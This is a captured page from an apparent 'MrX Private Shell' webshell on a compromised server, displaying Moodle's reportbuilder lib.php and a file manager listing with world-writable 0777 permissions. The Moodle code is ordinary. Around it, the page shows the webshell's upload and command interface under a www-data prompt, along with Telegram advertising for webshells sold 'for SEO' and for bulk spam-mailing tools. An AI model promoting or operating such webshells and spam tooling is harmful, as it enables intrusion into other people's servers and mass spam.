__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Callback methods for reportbuilder component
 *
 * @package     core_reportbuilder
 * @copyright   2021 Paul Holden <paulh@moodle.com>
 * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

declare(strict_types=1);

use core\output\inplace_editable;
use core_reportbuilder\form\audience;
use core_reportbuilder\form\filter;
use core_reportbuilder\local\helpers\audience as audience_helper;
use core_reportbuilder\local\models\report;
use core_tag\output\{tagfeed, tagindex};

/**
 * Return the filters form fragment
 *
 * @param array $params
 * @return string
 */
function core_reportbuilder_output_fragment_filters_form(array $params): string {
    $filtersform = new filter(null, null, 'post', '', [], true, [
        'reportid' => $params['reportid'],
        'parameters' => $params['parameters'],
    ]);

    $filtersform->set_data_for_dynamic_submission();

    return $filtersform->render();
}

/**
 * Return the audience form fragment
 *
 * @param array $params
 * @return string
 */
function core_reportbuilder_output_fragment_audience_form(array $params): string {
    global $PAGE;

    $audienceform = new audience(null, null, 'post', '', [], true, [
        'reportid' => $params['reportid'],
        'classname' => $params['classname'],
    ]);
    $audienceform->set_data_for_dynamic_submission();

    $context = [
        'instanceid' => 0,
        'heading' => $params['title'],
        'headingeditable' => $params['title'],
        'form' => $audienceform->render(),
        'canedit' => true,
        'candelete' => true,
        'showormessage' => $params['showormessage'],
    ];

    $renderer = $PAGE->get_renderer('core_reportbuilder');
    return $renderer->render_from_template('core_reportbuilder/local/audience/form', $context);
}

/**
 * Callback to return tagged reports
 *
 * @param core_tag_tag $tag
 * @param bool $exclusivemode
 * @param int|null $fromcontextid
 * @param int|null $contextid
 * @param bool $recurse
 * @param int $page
 * @return tagindex
 */
function core_reportbuilder_get_tagged_reports(
    core_tag_tag $tag,
    bool $exclusivemode = false,
    ?int $fromcontextid = 0,
    ?int $contextid = 0,
    bool $recurse = true,
    int $page = 0,
): tagindex {
    global $OUTPUT;

    // Limit the returned list to those reports the current user can access.
    [$where, $params] = audience_helper::user_reports_list_access_sql('it');

    $tagcount = $tag->count_tagged_items('core_reportbuilder', 'reportbuilder_report', $where, $params);
    $perpage = $exclusivemode ? 20 : 5;
    $pagecount = ceil($tagcount / $perpage);

    $content = '';

    if ($tagcount > 0) {
        $tagfeed = new tagfeed();

        $pixicon = new pix_icon('i/report', new lang_string('customreport', 'core_reportbuilder'));

        $reports = $tag->get_tagged_items('core_reportbuilder', 'reportbuilder_report', $page * $perpage, $perpage,
            $where, $params);
        foreach ($reports as $report) {
            $tagfeed->add(
                $OUTPUT->render($pixicon),
                html_writer::link(
                    new moodle_url('/reportbuilder/view.php', ['id' => $report->id]),
                    (new report(0, $report))->get_formatted_name(),
                ),
            );
        }

        $content = $OUTPUT->render_from_template('core_tag/tagfeed', $tagfeed->export_for_template($OUTPUT));
    }

    return new tagindex($tag, 'core_reportbuilder', 'reportbuilder_report', $content, $exclusivemode, $fromcontextid,
        $contextid, $recurse, $page, $pagecount);
}

/**
 * Plugin inplace editable implementation
 *
 * @param string $itemtype
 * @param int $itemid
 * @param string $newvalue
 * @return inplace_editable|null
 */
function core_reportbuilder_inplace_editable(string $itemtype, int $itemid, string $newvalue): ?inplace_editable {
    switch ($itemtype) {
        case 'reportname':
            return \core_reportbuilder\output\report_name_editable::update($itemid, $newvalue);

        case 'columnheading':
            return \core_reportbuilder\output\column_heading_editable::update($itemid, $newvalue);

        case 'columnaggregation':
            return \core_reportbuilder\output\column_aggregation_editable::update($itemid, $newvalue);

        case 'filterheading':
            return \core_reportbuilder\output\filter_heading_editable::update($itemid, $newvalue);

        case 'audienceheading':
            return \core_reportbuilder\output\audience_heading_editable::update($itemid, $newvalue);

        case 'schedulename':
            return \core_reportbuilder\output\schedule_name_editable::update($itemid, $newvalue);
    }

    return null;
}

Filemanager

Name Type Size Permission Actions
amd Folder 0777
classes Folder 0777
templates Folder 0777
tests Folder 0777
UPGRADING.md File 4.69 KB 0777
download.php File 2.48 KB 0777
edit.php File 2.42 KB 0777
index.php File 1.76 KB 0777
lib.php File 5.25 KB 0777
upgrade.txt File 10.36 KB 0777
view.php File 2.19 KB 0777
Filemanager